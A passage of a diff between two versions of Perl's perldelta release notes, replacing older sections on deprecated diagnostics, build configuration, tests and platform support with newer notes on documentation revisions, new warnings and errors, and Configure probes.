-constructor on the right-hand side of C<my()>, C<state()>, C<our()>, or
-C<local()>.  Simply suppress the warning if you want to use the feature, but
-know that in doing so you are taking the risk of using an experimental feature
-which may change or be removed in a future Perl version:
+=head2 Changes to Existing Documentation
 
-    no warnings "experimental::declared_refs";
-    use feature "declared_refs";
-    $fooref = my \$foo;
+We have attempted to update the documentation to reflect the changes
+listed in this document.  If you find any we have missed, send email
+to L<perlbug at perl.org|mailto:perlbug at perl.org>.
 
-See L</Declaring a reference to a variable>.
+Additionally, the following selected changes have been made:
 
-=item *
+=head3 L<perlapi>
 
-L<do "%s" failed, '.' is no longer in @INC|perldiag/do "%s" failed, '.' is no longer in @INC; did you mean do ".E<sol>%s"?>
+=over 4
 
-Since C<"."> is now removed from C<@INC> by default, C<do> will now trigger a warning recommending to fix the C<do> statement.
-
 =item *
 
-L<C<File::Glob::glob()> will disappear in perl 5.30. Use C<File::Glob::bsd_glob()> instead.
-|perldiag/C<File::Glob::glob()> will disappear in perl 5.30. Use C<File::Glob::bsd_glob()> instead.>
+The API functions C<perl_parse()>, C<perl_run()>, and C<perl_destruct()>
+are now documented comprehensively, where previously the only
+documentation was a reference to the L<perlembed> tutorial.
 
 =item *
 
-L<Unescaped literal '%c' in regex; marked by E<lt>-- HERE in mE<sol>%sE<sol>
-|perldiag/Unescaped literal '%c' in regex; marked by <-- HERE in mE<sol>%sE<sol>>
+The documentation of C<newGIVENOP()> has been belatedly updated to
+account for the removal of lexical C<$_>.
 
 =item *
 
-L<Use of unassigned code point or non-standalone grapheme for a delimiter will be a fatal error starting in Perl 5.30|perldiag/"Use of unassigned code point or non-standalone grapheme for a delimiter will be a fatal error starting in Perl 5.30">
+The API functions C<newCONSTSUB()> and C<newCONSTSUB_flags()> are
+documented much more comprehensively than before.
 
-See L</Deprecations>
-
 =back
 
-=head2 Changes to Existing Diagnostics
+=head3 L<perldata>
 
 =over 4
 
 =item *
 
-When a C<require> fails, we now do not provide C<@INC> when the C<require>
-is for a file instead of a module.
+The section "Truth and Falsehood" in L<perlsyn> has been moved into
+L<perldata>.
 
-=item *
+=back
 
-When C<@INC> is not scanned for a C<require> call, we no longer display
-C<@INC> to avoid confusion.
+=head3 L<perldebguts>
 
-=item *
+=over 4
 
-L<Attribute "locked" is deprecated, and will disappear in Perl 5.28
-|perldiag/Attribute "locked" is deprecated, and will disappear in Perl 5.28>
-
-This existing warning has had the I<and will disappear> text added in this
-release.
-
 =item *
 
-L<Attribute "unique" is deprecated, and will disappear in Perl 5.28
-|perldiag/Attribute "unique" is deprecated, and will disappear in Perl 5.28>
+The description of the conditions under which C<DB::sub()> will be called
+has been clarified.
+L<[perl #131672]|https://rt.perl.org/Ticket/Display.html?id=131672>
 
-This existing warning has had the I<and will disappear> text added in this
-release.
+=back
 
-=item *
+=head3 L<perldiag>
 
-Calling POSIX::%s() is deprecated
+=over 4
 
-This warning has been removed, as the deprecated functions have been
-removed from POSIX.
+=item * L<perldiag/Variable length lookbehind not implemented in regex mE<sol>%sE<sol>>
 
-=item *
+This now gives more ideas as to workarounds to the issue that was
+introduced in Perl 5.18 (but not documented explicitly in its perldelta)
+for the fact that some Unicode C</i> rules cause a few sequences such as
 
-L<Constants from lexical variables potentially modified elsewhere are deprecated. This will not be allowed in Perl 5.32
-|perldiag/Constants from lexical variables potentially modified elsewhere are deprecated. This will not be allowed in Perl 5.32>
+ (?<!st)
 
-This existing warning has had the I<this will not be allowed> text added
-in this release.
+to be considered variable length, and hence disallowed.
 
-=item *
+=item * "Use of state $_ is experimental" in L<perldiag>
 
-L<Deprecated use of C<my()> in false conditional. This will be a fatal error in Perl 5.30
-|perldiag/Deprecated use of C<my()> in false conditional. This will be a fatal error in Perl 5.30>
+This entry has been removed, as the experimental support of this construct was
+removed in perl 5.24.0.
 
-This existing warning has had the I<this will be a fatal error> text added
-in this release.
-
 =item *
 
-L<C<dump()> better written as C<CORE::dump()>. C<dump()> will no longer be available in Perl 5.30
-|perldiag/C<dump()> better written as C<CORE::dump()>. C<dump()> will no longer be available in Perl 5.30>
+The diagnostic C<Initialization of state variables in list context
+currently forbidden> has changed to C<Initialization of state variables
+in list currently forbidden>, because list-context initialization of
+single aggregate state variables is now permitted.
 
-This existing warning has had the I<no longer be available> text added in
-this release.
+=back
 
-=item *
+=head3 L<perlembed>
 
-L<Experimental %s on scalar is now forbidden
-|perldiag/Experimental %s on scalar is now forbidden>
+=over 4
 
-This message is now followed by more helpful text.
-L<[perl #127976]|https://rt.perl.org/Public/Bug/Display.html?id=127976>
-
 =item *
 
-Experimental "%s" subs not enabled
+The examples in L<perlembed> have been made more portable in the way
+they exit, and the example that gets an exit code from the embedded Perl
+interpreter now gets it from the right place.  The examples that pass
+a constructed argv to Perl now show the mandatory null C<argv[argc]>.
 
-This warning was been removed, as lexical subs are no longer experimental.
-
 =item *
 
-Having more than one /%c regexp modifier is deprecated
+An example in L<perlembed> used the string value of C<ERRSV> as a
+format string when calling croak().  If that string contains format
+codes such as C<%s> this could crash the program.
 
-This deprecation warning has been removed, since C</xx> now has a new
-meaning.
+This has been changed to a call to croak_sv().
 
-=item *
+An alternative could have been to supply a trivial format string:
 
-L<%s() is deprecated on C<:utf8> handles. This will be a fatal error in Perl 5.30
-|perldiag/%s() is deprecated on C<:utf8> handles. This will be a fatal error in Perl 5.30>.
+  croak("%s", SvPV_nolen(ERRSV));
 
-where "%s" is one of C<sysread>, C<recv>, C<syswrite>, or C<send>.
+or as a special case for C<ERRSV> simply:
 
-This existing warning has had the I<this will be a fatal error> text added
-in this release.
+  croak(NULL);
 
-This warning is now enabled by default, as all C<deprecated> category
-warnings should be.
+=back
 
-=item *
+=head3 L<perlfunc>
 
-L<C<$*> is no longer supported. Its use will be fatal in Perl 5.30
-|perldiag/C<$*> is no longer supported. Its use will be fatal in Perl 5.30>
+=over 4
 
-This existing warning has had the I<its use will be fatal> text added in
-this release.
-
 =item *
 
-L<C<$#> is no longer supported. Its use will be fatal in Perl 5.30
-|perldiag/C<$#> is no longer supported. Its use will be fatal in Perl 5.30>
+There is now a note that warnings generated by built-in functions are
+documented in L<perldiag> and L<warnings>.
+L<[perl #116080]|https://rt.perl.org/Ticket/Display.html?id=116080>
 
-This existing warning has had the I<its use will be fatal> text added in
-this release.
-
 =item *
 
-L<Malformed UTF-8 character%s
-|perldiag/Malformed UTF-8 character%s>
+The documentation for the C<exists> operator no longer says that
+autovivification behaviour "may be fixed in a future release".
+We've determined that we're not going to change the default behaviour.
+L<[perl #127712]|https://rt.perl.org/Ticket/Display.html?id=127712>
 
-Details as to the exact problem have been added at the end of this
-message
-
 =item *
 
-L<Missing or undefined argument to %s
-|perldiag/Missing or undefined argument to %s>
+A couple of small details in the documentation for the C<bless> operator
+have been clarified.
+L<[perl #124428]|https://rt.perl.org/Ticket/Display.html?id=124428>
 
-This warning used to warn about C<require>, even if it was actually C<do>
-which being executed. It now gets the operation name right.
-
 =item *
 
-NO-BREAK SPACE in a charnames alias definition is deprecated
+The description of C<@INC> hooks in the documentation for C<require>
+has been corrected to say that filter subroutines receive a useless
+first argument.
+L<[perl #115754]|https://rt.perl.org/Ticket/Display.html?id=115754>
 
-This warning has been removed as the behavior is now an error.
-
 =item *
 
-L<Odd nameE<sol>value argument for subroutine '%s'
-|perldiag/"Odd nameE<sol>value argument for subroutine '%s'">
+The documentation of C<ref> has been rewritten for clarity.
 
-This warning now includes the name of the offending subroutine.
-
 =item *
 
-L<Opening dirhandle %s also as a file. This will be a fatal error in Perl 5.28
-|perldiag/Opening dirhandle %s also as a file. This will be a fatal error in Perl 5.28>
+The documentation of C<use> now explains what syntactically qualifies
+as a version number for its module version checking feature.
 
-This existing warning has had the I<this will be a fatal error> text added
-in this release.
-
 =item *
 
-L<Opening filehandle %s also as a directory. This will be a fatal error in Perl 5.28
-|perldiag/Opening filehandle %s also as a directory. This will be a fatal error in Perl 5.28>
+The documentation of C<warn> has been updated to reflect that since Perl
+5.14 it has treated complex exception objects in a manner equivalent
+to C<die>.
+L<[perl #121372]|https://rt.perl.org/Ticket/Display.html?id=121372>
 
-This existing warning has had the I<this will be a fatal error> text added
-in this release.
-
 =item *
 
-panic: ck_split, type=%u
+The documentation of C<die> and C<warn> has been revised for clarity.
 
-panic: pp_split, pm=%p, s=%p
-
-These panic errors have been removed.
-
 =item *
 
-Passing malformed UTF-8 to "%s" is deprecated
+The documentation of C<each> has been improved, with a slightly more
+explicit description of the sharing of iterator state, and with
+caveats regarding the fragility of while-each loops.
+L<[perl #132644]|https://rt.perl.org/Ticket/Display.html?id=132644>
 
-This warning has been changed to the fatal
-L<Malformed UTF-8 string in "%s"
-|perldiag/Malformed UTF-8 string in "%s">
-
 =item *
 
-L<Setting C<< $E<sol> >> to a reference to %s as a form of slurp is deprecated, treating as undef. This will be fatal in Perl 5.28
-|perldiag/Setting C<< $E<sol> >> to a reference to %s as a form of slurp is deprecated, treating as undef. This will be fatal in Perl 5.28>
+Clarification to C<require> was added to explain the differences between
 
-This existing warning has had the I<this will be fatal> text added in
-this release.
+    require Foo::Bar;
+    require "Foo/Bar.pm";
 
-=item *
+=back
 
-L<C<${^ENCODING}> is no longer supported. Its use will be fatal in Perl 5.28|perldiag/"${^ENCODING} is no longer supported. Its use will be fatal in Perl 5.28">
+=head3 L<perlgit>
 
-This warning used to be: "Setting C<${^ENCODING}> is deprecated".
+=over 4
 
-The special action of the variable C<${^ENCODING}> was formerly used to
-implement the C<encoding> pragma. As of Perl 5.26, rather than being
-deprecated, assigning to this variable now has no effect except to issue
-the warning.
-
 =item *
 
-L<Too few arguments for subroutine '%s'
-|perldiag/Too few arguments for subroutine '%s'>
+The precise rules for identifying C<smoke-me> branches are now stated.
 
-This warning now includes the name of the offending subroutine.
+=back
 
-=item *
+=head3 L<perlguts>
 
-L<Too many arguments for subroutine '%s'
-|perldiag/Too many arguments for subroutine '%s'>
+=over 4
 
-This warning now includes the name of the offending subroutine.
-
 =item *
 
-L<Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.30), passed through in regex; marked by S<< E<lt>-- HERE >> in mE<sol>%sE<sol>
-|perldiag/Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.30), passed through in regex; marked by S<< E<lt>-- HERE >> in mE<sol>%sE<sol>>
+The section on reference counting in L<perlguts> has been heavily revised,
+to describe references in the way a programmer needs to think about them
+rather than in terms of the physical data structures.
 
-This existing warning has had the I<here (and will be fatal...)> text
-added in this release.
-
 =item *
 
-L<Unknown charname '' is deprecated. Its use will be fatal in Perl 5.28
-|perldiag/Unknown charname '' is deprecated. Its use will be fatal in Perl 5.28>
+Improve documentation related to UTF-8 multibytes.
 
-This existing warning has had the I<its use will be fatal> text added in
-this release.
+=back
 
-=item *
+=head3 L<perlintern>
 
-L<Use of bare E<lt>E<lt> to mean E<lt>E<lt>"" is deprecated. Its use will be fatal in Perl 5.28
-|perldiag/Use of bare E<lt>E<lt> to mean E<lt>E<lt>"" is deprecated. Its use will be fatal in Perl 5.28>
+=over 4
 
-This existing warning has had the I<its use will be fatal> text added in
-this release.
-
 =item *
 
-L<Use of code point 0x%s is deprecated; the permissible max is 0x%s.  This will be fatal in Perl 5.28
-|perldiag/Use of code point 0x%s is deprecated; the permissible max is 0x%s.  This will be fatal in Perl 5.28>
+The internal functions C<newXS_len_flags()> and C<newATTRSUB_x()> are
+now documented.
 
-This existing warning has had the I<this will be fatal> text added in
-this release.
-
-=item *
-
-L<Use of comma-less variable list is deprecated. Its use will be fatal in Perl 5.28
-|perldiag/Use of comma-less variable list is deprecated. Its use will be fatal in Perl 5.28>
-
-This existing warning has had the I<its use will be fatal> text added in
-this release.
-
-=item *
-
-L<Use of inherited C<AUTOLOAD> for non-method %s() is deprecated. This will be fatal in Perl 5.28
-|perldiag/Use of inherited C<AUTOLOAD> for non-method %s() is deprecated. This will be fatal in Perl 5.28>
-
-This existing warning has had the I<this will be fatal> text added in
-this release.
-
-=item *
-
-L<Use of strings with code points over 0xFF as arguments to %s operator is deprecated. This will be a fatal error in Perl 5.28
-|perldiag/Use of strings with code points over 0xFF as arguments to %s operator is deprecated. This will be a fatal error in Perl 5.28>
-
-This existing warning has had the I<this will be a fatal error> text added in
-this release.
-
 =back
 
-=head1 Utility Changes
+=head3 L<perlobj>
 
-=head2 F<c2ph> and F<pstruct>
-
 =over 4
 
 =item *
 
-These old utilities have long since superceded by L<h2xs>, and are
-now gone from the distribution.
+The documentation about C<DESTROY> methods has been corrected, updated,
+and revised, especially in regard to how they interact with exceptions.
+L<[perl #122753]|https://rt.perl.org/Ticket/Display.html?id=122753>
 
 =back
 
-=head2 F<Porting/pod_lib.pl>
+=head3 L<perlop>
 
 =over 4
 
 =item *
 
-Removed spurious executable bit.
+The description of the C<x> operator in L<perlop> has been clarified.
+L<[perl #132460]|https://rt.perl.org/Ticket/Display.html?id=132460>
 
 =item *
 
-Account for the possibility of DOS file endings.
+L<perlop> has been updated to note that C<qw>'s whitespace rules differ
+from that of C<split>'s in that only ASCII whitespace is used.
 
-=back
+=item *
 
-=head2 F<Porting/sync-with-cpan>
+The general explanation of operator precedence and associativity has
+been corrected and clarified.
+L<[perl #127391]|https://rt.perl.org/Ticket/Display.html?id=127391>
 
-=over 4
-
 =item *
 
-Many improvements.
+The documentation for the C<\> referencing operator now explains the
+unusual context that it supplies to its operand.
+L<[perl #131061]|https://rt.perl.org/Ticket/Display.html?id=131061>
 
 =back
 
-=head2 F<perf/benchmarks>
+=head3 L<perlrequick>
 
 =over 4
 
 =item *
 
-Tidy file, rename some symbols.
+Clarifications on metacharacters and character classes
 
 =back
 
-=head2 F<Porting/checkAUTHORS.pl>
+=head3 L<perlretut>
 
 =over 4
 
 =item *
 
-Replace obscure character range with C<\w>.
+Clarify metacharacters.
 
 =back
 
-=head2 F<t/porting/regen.t>
+=head3 L<perlrun>
 
 =over 4
 
 =item *
 
-Try to be more helpful when tests fail.
+Clarify the differences between B<< -M >> and B<< -m >>.
+L<[perl #131518]|https://rt.perl.org/Ticket/Display.html?id=131518>
 
 =back
 
-=head2 F<utils/h2xs.PL>
+=head3 L<perlsec>
 
 =over 4
 
 =item *
 
-Avoid infinite loop for enums.
+The documentation about set-id scripts has been updated and revised.
+L<[perl #74142]|https://rt.perl.org/Ticket/Display.html?id=74142>
 
-=back
-
-=head2 L<perlbug>
-
-=over 4
-
 =item *
 
-Long lines in the message body are now wrapped at 900 characters, to stay
-well within the 1000-character limit imposed by SMTP mail transfer agents.
-This is particularly likely to be important for the list of arguments to
-F<Configure>, which can readily exceed the limit if, for example, it names
-several non-default installation paths.  This change also adds the first unit
-tests for perlbug.
-L<[perl #128020]|https://rt.perl.org/Public/Bug/Display.html?id=128020>
+A section about using C<sudo> to run Perl scripts has been added.
 
 =back
 
-=head1 Configuration and Compilation
+=head3 L<perlsyn>
 
 =over 4
 
 =item *
 
-C<-Ddefault_inc_excludes_dot> has added, and enabled by default.
+The section "Truth and Falsehood" in L<perlsyn> has been removed from
+that document, where it didn't belong, and merged into the existing
+paragraph on the same topic in L<perldata>.
 
 =item *
 
-The C<dtrace> build process has further changes
-L<[perl #130108]|https://rt.perl.org/Public/Bug/Display.html?id=130108>:
+The means to disambiguate between code blocks and hash constructors,
+already documented in L<perlref>, are now documented in L<perlsyn> too.
+L<[perl #130958]|https://rt.perl.org/Ticket/Display.html?id=130958>
 
-=over
+=back
 
-=item *
+=head3 L<perluniprops>
 
-If the C<-xnolibs> is available, use that so a F<dtrace> perl can be
-built within a FreeBSD jail.
+=over 4
 
 =item *
 
-On systems that build a F<dtrace> object file (FreeBSD, Solaris, and
-SystemTap's dtrace emulation), copy the input objects to a separate
-directory and process them there, and use those objects in the link,
-since C<dtrace -G> also modifies these objects.
+L<perluniprops> has been updated to note that C<\p{Word}> now includes
+code points matching the C<\p{Join_Control}> property.  The change to
+the property was made in Perl 5.18, but not documented until now.  There
+are currently only two code points that match this property U+200C (ZERO
+WIDTH NON-JOINER) and U+200D (ZERO WIDTH JOINER).
 
 =item *
 
-Add F<libelf> to the build on FreeBSD 10.x, since F<dtrace> adds
-references to F<libelf> symbols.
+For each binary table or property, the documentation now includes which
+characters in the range C<\x00-\xFF> it matches, as well as a list of
+the first few ranges of code points matched above that.
 
-=item *
-
-Generate a dummy F<dtrace_main.o> if C<dtrace -G> fails to build it.  A
-default build on Solaris generates probes from the unused inline
-functions, while they don't on FreeBSD, which causes C<dtrace -G> to
-fail.
-
 =back
 
-=item *
+=head3 L<perlvar>
 
-You can now disable perl's use of the C<PERL_HASH_SEED> and
-C<PERL_PERTURB_KEYS> environment variables by configuring perl with
-C<-Accflags=NO_PERL_HASH_ENV>.
+=over 4
 
 =item *
 
-You can now disable perl's use of the C<PERL_HASH_SEED_DEBUG> environment
-variable by configuring perl with
-C<-Accflags=-DNO_PERL_HASH_SEED_DEBUG>.
+The entry for C<$+> in perlvar has been expanded upon to describe handling of
+multiply-named capturing groups.
 
-=item *
+=back
 
-F<Configure> now zeroes out the alignment bytes when calculating the bytes
-for 80-bit C<NaN> and C<Inf> to make builds more reproducible.
-L<[perl #130133]|https://rt.perl.org/Public/Bug/Display.html?id=130133>
+=head3 L<perlfunc>, L<perlop>, L<perlsyn>
 
-=item *
+=over 4
 
-Since v5.18, for testing purposes we have included support for
-building perl with a variety of non-standard, and non-recommended
-hash functions.  Since we do not recommend the use of these functions,
-we have removed them and their corresponding build options.  Specifically
-this includes the following build options:
-
-    PERL_HASH_FUNC_SDBM
-    PERL_HASH_FUNC_DJB2
-    PERL_HASH_FUNC_SUPERFAST
-    PERL_HASH_FUNC_MURMUR3
-    PERL_HASH_FUNC_ONE_AT_A_TIME
-    PERL_HASH_FUNC_ONE_AT_A_TIME_OLD
-    PERL_HASH_FUNC_MURMUR_HASH_64A
-    PERL_HASH_FUNC_MURMUR_HASH_64B
-
 =item *
 
-Remove "Warning: perl appears in your path"
+In various places, improve the documentation of the special cases
+in the condition expression of a while loop, such as implicit C<defined>
+and assignment to C<$_>.
+L<[perl #132644]|https://rt.perl.org/Ticket/Display.html?id=132644>
 
-This install warning is more or less obsolete, since most platforms already
-B<will> have a F</usr/bin/perl> or similar provided by the OS.
+=back
 
-=item *
+=head1 Diagnostics
 
-Reduce verbosity of C<make install.man>
+The following additions or changes have been made to diagnostic output,
+including warnings and fatal error messages.  For the complete list of
+diagnostic messages, see L<perldiag>.
 
-Previously, two progress messages were emitted for each manpage: one by
-installman itself, and one by the function in F<install_lib.pl> that it calls to
-actually install the file.  Disabling the second of those in each case saves
-over 750 lines of unhelpful output.
+=head2 New Diagnostics
 
-=item *
+=head3 New Errors
 
-Cleanup for C<clang -Weverything> support.
-L<[perl #129961]|https://rt.perl.org/Public/Bug/Display.html?id=129961>
+=over 4
 
 =item *
 
-F<Configure>: signbit scan was assuming too much, stop assuming negative 0.
+L<Can't "goto" into a "given" block|perldiag/"Can't E<quot>gotoE<quot> into a E<quot>givenE<quot> block">
 
-=item *
+(F) A "goto" statement was executed to jump into the middle of a C<given>
+block.  You can't get there from here.  See L<perlfunc/goto>.
 
-Various compiler warnings have been silenced.
-
 =item *
 
-Several smaller changes have been made to remove impediments to compiling
-under C++11.
+L<Can't "goto" into a binary or list expression|perldiag/"Can't E<quot>gotoE<quot> into a binary or list expression">
 
-=item *
+Use of C<goto> to jump into the parameter of a binary or list operator has
+been prohibited, to prevent crashes and stack corruption.
+L<[perl #130936]|https://rt.perl.org/Ticket/Display.html?id=130936>
 
-Builds using C<USE_PAD_RESET> now work again; this configuration had
-bit-rotted.
+You may only enter the I<first> argument of an operator that takes a fixed
+number of arguments, since this is a case that will not cause stack
+corruption.
+L<[perl #132854]|https://rt.perl.org/Ticket/Display.html?id=132854>
 
-=item *
+=back
 
-A probe for C<gai_strerror> was added to F<Configure> that checks if
-the C<gai_strerror()> routine is available and can be used to
-translate error codes returned by C<getaddrinfo()> into human
-readable strings.
+=head3 New Warnings
 
-=item *
+=over 4
 
-F<Configure> now aborts if both C<-Duselongdouble> and C<-Dusequadmath> are
-requested.
-L<[perl #126203]|https://rt.perl.org/Public/Bug/Display.html?id=126203>
-
 =item *
 
-Fixed a bug in which F<Configure> could append C<-quadmath> to the
-archname even if it was already present.
-L<[perl #128538]|https://rt.perl.org/Public/Bug/Display.html?id=128538>
+L<Old package separator used in string|perldiag/"Old package separator used in string">
 
-=item *
+(W syntax) You used the old package separator, "'", in a variable
+named inside a double-quoted string; e.g., C<"In $name's house">.  This
+is equivalent to C<"In $name::s house">.  If you meant the former, put
+a backslash before the apostrophe (C<"In $name\'s house">).
 
-Clang builds with C<-DPERL_GLOBAL_STRUCT> or
-C<-DPERL_GLOBAL_STRUCT_PRIVATE> have
-been fixed (by disabling Thread Safety Analysis for these configurations).
-
 =item *
 
-F<make_ext.pl> no longer updates a module's F<pm_to_blib> file when no
-files require updates.  This could cause dependencies, F<perlmain.c>
-in particular, to be rebuilt unnecessarily.
-L<[perl #126710]|https://rt.perl.org/Public/Bug/Display.html?id=126710>
+L<perldiag/Locale '%s' contains (at least) the following characters which
+have unexpected meanings: %s  The Perl program will use the expected
+meanings>
 
-=item *
-
-The output of C<perl -V> has been reformatted so that each configuration
-and compile-time option is now listed one per line, to improve
-readability.
-
-=item *
-
-F<Configure> now builds C<miniperl> and C<generate_uudmap> if you
-invoke it with C<-Dusecrosscompiler> but not C<-Dtargethost=somehost>.
-This means you can supply your target platform C<config.sh>, generate
-the headers and proceed to build your cross-target perl.
-L<[perl #127234]|https://rt.perl.org/Public/Bug/Display.html?id=127234>
-
-=item *
-
-Perl built with C<-Accflags=-DPERL_TRACE_OPS> now only dumps the operator
-counts when the environment variable C<PERL_TRACE_OPS> is set to a
-non-zero integer.  This allows C<make test> to pass on such a build.
-
-=item *
-
-When building with GCC 6 and link-time optimization (the C<-flto> option to
-C<gcc>), F<Configure> was treating all probed symbols as present on the
-system, regardless of whether they actually exist.  This has been fixed.
-L<[perl #128131]|https://rt.perl.org/Public/Bug/Display.html?id=128131>
-
-=item *
-
-The F<t/test.pl> library is used for internal testing of Perl itself, and
-also copied by several CPAN modules.  Some of those modules must work on
-older versions of Perl, so F<t/test.pl> must in turn avoid newer Perl
-features.  Compatibility with Perl 5.8 was inadvertently removed some time
-ago; it has now been restored.
-L<[perl #128052]|https://rt.perl.org/Public/Bug/Display.html?id=128052>
-
-=item *
-
-The build process no longer emits an extra blank line before building each
-"simple" extension (those with only F<*.pm> and F<*.pod> files).
-
 =back
 
-=head1 Testing
+=head2 Changes to Existing Diagnostics
 
-Tests were added and changed to reflect the other additions and changes
-in this release.  Furthermore, these substantive changes were made:
-
 =over 4
 
 =item *
 
-A new test script, F<comp/parser_run.t>, has been added that is like
-F<comp/parser.t> but with F<test.pl> included so that C<runperl()> and the
-like are available for use.
+A false-positive warning that was issued when using a
+numerically-quantified sub-pattern in a recursive regex has been
+silenced. L<[perl #131868]|https://rt.perl.org/Public/Bug/Display.html?id=131868>
 
 =item *
 
-Tests for locales were erroneously using locales incompatible with Perl.
+The warning about useless use of a concatenation operator in void context
+is now generated for expressions with multiple concatenations, such as
+C<$a.$b.$c>, which used to mistakenly not warn.
+L<[perl #6997]|https://rt.perl.org/Ticket/Display.html?id=6997>
 
 =item *
 
-Some parts of the test suite that try to exhaustively test edge cases in the
-regex implementation have been restricted to running for a maximum of five
-minutes.  On slow systems they could otherwise take several hours, without
-significantly improving our understanding of the correctness of the code
-under test.
+Warnings that a variable or subroutine "masks earlier declaration in same
+...", or that an C<our> variable has been redeclared, have been moved to a
+new warnings category "shadow".  Previously they were in category "misc".
 
 =item *
 
-A new internal facility allows analysing the time taken by the individual
-tests in Perl's own test suite; see F<Porting/harness-timer-report.pl>.
+The deprecation warning from C<Sys::Hostname::hostname()> saying that
+it doesn't accept arguments now states the Perl version in which the
+warning will be upgraded to an error.
+L<[perl #124349]|https://rt.perl.org/Ticket/Display.html?id=124349>
 
 =item *
 
-F<t/re/regexp_nonull.t> has been added to test that the regular expression
-engine can handle scalars that do not have a null byte just past the end of
-the string.
+The L<perldiag> entry for the error regarding a set-id script has been
+expanded to make clear that the error is reporting a specific security
+vulnerability, and to advise how to fix it.
 
 =item *
 
-A new test script, F<t/op/decl-refs.t>, has been added to test the new feature
-L</Declaring a reference to a variable>.
+The C<< Unable to flush stdout >> error message was missing a trailing
+newline. [debian #875361]
 
-=item *
-
-A new test script, F<t/re/keep_tabs.t> has been added to contain tests
-where C<\t> characters should not be expanded into spaces.
-
-=item *
-
-A new test script, F<t/re/anyof.t>, has been added to test that the ANYOF nodes
-generated by bracketed character classes are as expected.
-
-=item *
-
-There is now more extensive testing of the Unicode-related API macros
-and functions.
-
-=item *
-
-Several of the longer running API test files have been split into
-multiple test files so that they can be run in parallel.
-
-=item *
-
-F<t/harness> now tries really hard not to run tests which are located
-outside of the Perl source tree.
-L<[perl #124050]|https://rt.perl.org/Public/Bug/Display.html?id=124050>
-
-=item *
-
-Prevent debugger tests (F<lib/perl5db.t>) from failing due to the contents
-of C<$ENV{PERLDB_OPTS}>.
-L<[perl #130445]|https://rt.perl.org/Public/Bug/Display.html?id=130445>
-
 =back
 
-=head1 Platform Support
+=head1 Utility Changes
 
-=head2 New Platforms
+=head2 L<perlbug>
 
 =over 4
 
-=item NetBSD/VAX
-
-Perl now compiles under NetBSD on VAX machines.  However, it's not
-possible for that platform to implement floating-point infinities and
-NaNs compatible with most modern systems, which implement the IEEE-754
-floating point standard.  The hexadecimal floating point (C<0x...p[+-]n>
-literals, C<printf %a>) is not implemented, either.
-The C<make test> passes 98% of tests.
-
-=over 4
-
 =item *
 
-Test fixes and minor updates.
+C<--help> and C<--version> options have been added.
 
-=item *
-
-Account for lack of C<inf>, C<nan>, and C<-0.0> support.
-
 =back
 
-=back
+=head1 Configuration and Compilation
 
-=head2 Platform-Specific Notes
-
 =over 4
 
-=item Darwin
+=item * C89 requirement
 
-=over 4
+Perl has been documented as requiring a C89 compiler to build since October
+1998.  A variety of simplifications have now been made to Perl's internals to
+rely on the features specified by the C89 standard. We believe that this
+internal change hasn't altered the set of platforms that Perl builds on, but
+please report a bug if Perl now has new problems building on your platform.
 
 =item *
 
-Don't treat C<-Dprefix=/usr> as special: instead require an extra option
-C<-Ddarwin_distribution> to produce the same results.
+On GCC, C<-Werror=pointer-arith> is now enabled by default,
+disallowing arithmetic on void and function pointers.
 
 =item *
 
-OS X El Capitan doesn't implement the C<clock_gettime()> or
-C<clock_getres()> APIs; emulate them as necessary.
+Where an HTML version of the documentation is installed, the HTML
+documents now use relative links to refer to each other.  Links from
+the index page of L<perlipc> to the individual section documents are
+now correct.
+L<[perl #110056]|https://rt.perl.org/Ticket/Display.html?id=110056>
 
 =item *
 
-Deprecated C<syscall(2)> on macOS 10.12.
+F<lib/unicore/mktables> now correctly canonicalizes the names of the
+dependencies stored in the files it generates.
 
-=back
+F<regen/mk_invlists.pl>, unlike the other F<regen/*.pl> scripts, used
+C<$0> to name itself in the dependencies stored in the files it
+generates.  It now uses a literal so that the path stored in the
+generated files doesn't depend on how F<regen/mk_invlists.pl> is
+invoked.
 
-=item EBCDIC
+This lack of canonical names could cause test failures in F<t/porting/regen.t>.
+L<[perl #132925]|https://rt.perl.org/Ticket/Display.html?id=132925>
 
-Several tests have been updated to work (or be skipped) on EBCDIC platforms.
+=item * New probes
 
-=item HP-UX
+=over 2
 
-The L<Net::Ping> UDP test is now skipped on HP-UX.
+=item HAS_BUILTIN_ADD_OVERFLOW
 
-=item Hurd
+=item HAS_BUILTIN_MUL_OVERFLOW
 
-The hints for Hurd have been improved, enabling malloc wrap and reporting the
-GNU libc used (previously it was an empty string when reported).
+=item HAS_BUILTIN_SUB_OVERFLOW
 
-=item VAX
+=item HAS_THREAD_SAFE_NL_LANGINFO_L
 
-VAX floating point formats are now supported on NetBSD.
+=item HAS_LOCALECONV_L
 
-=item VMS
+=item HAS_MBRLEN
 
-=over 4
+=item HAS_MBRTOWC
 
-=item *
+=item HAS_MEMRCHR
 
-The path separator for the C<PERL5LIB> and C<PERLLIB> environment entries is
-now a colon (C<":">) when running under a Unix shell.  There is no change when
-running under DCL (it's still C<"|">).
+=item HAS_NANOSLEEP
 
-=item *
+=item HAS_STRNLEN
 
-F<configure.com> now recognizes the VSI-branded C compiler and no longer
-recognizes the "DEC"-branded C compiler (as there hasn't been such a thing for
-15 or more years).
+=item HAS_STRTOLD_L
 
-=back
+=item I_WCHAR
 
-=item Windows
-
-=over 4
-
-=item *
-
-Support for compiling perl on Windows using Microsoft Visual Studio 2015
-(containing Visual C++ 14.0) has been added.
-
-This version of VC++ includes a completely rewritten C run-time library, some
-of the changes in which mean that work done to resolve a socket
-C<close()> bug in
-perl #120091 and perl #118059 is not workable in its current state with this
-version of VC++.  Therefore, we have effectively reverted that bug fix for
-VS2015 onwards on the basis that being able to build with VS2015 onwards is
-more important than keeping the bug fix.  We may revisit this in the future to
-attempt to fix the bug again in a way that is compatible with VS2015.
-
-These changes do not affect compilation with GCC or with Visual Studio versions
-up to and including VS2013, I<i.e.>, the bug fix is retained (unchanged) for those
-compilers.
-
-Note that you may experience compatibility problems if you mix a perl built
-with GCC or VS E<lt>= VS2013 with XS modules built with VS2015, or if you mix a
-perl built with VS2015 with XS modules built with GCC or VS E<lt>= VS2013.
-Some incompatibility may arise because of the bug fix that has been reverted
-for VS2015 builds of perl, but there may well be incompatibility anyway because
-of the rewritten CRT in VS2015 (I<e.g.>, see discussion at
-L<http://stackoverflow.com/questions/30412951>).
-
-=item *
-
-It now automatically detects GCC versus Visual C and sets the VC version
-number on Win32.
-
 =back
 
-=item Linux
-
-Drop support for Linux F<a.out> executable format. Linux has used ELF for
-over twenty years.
-
-=item OpenBSD 6
-
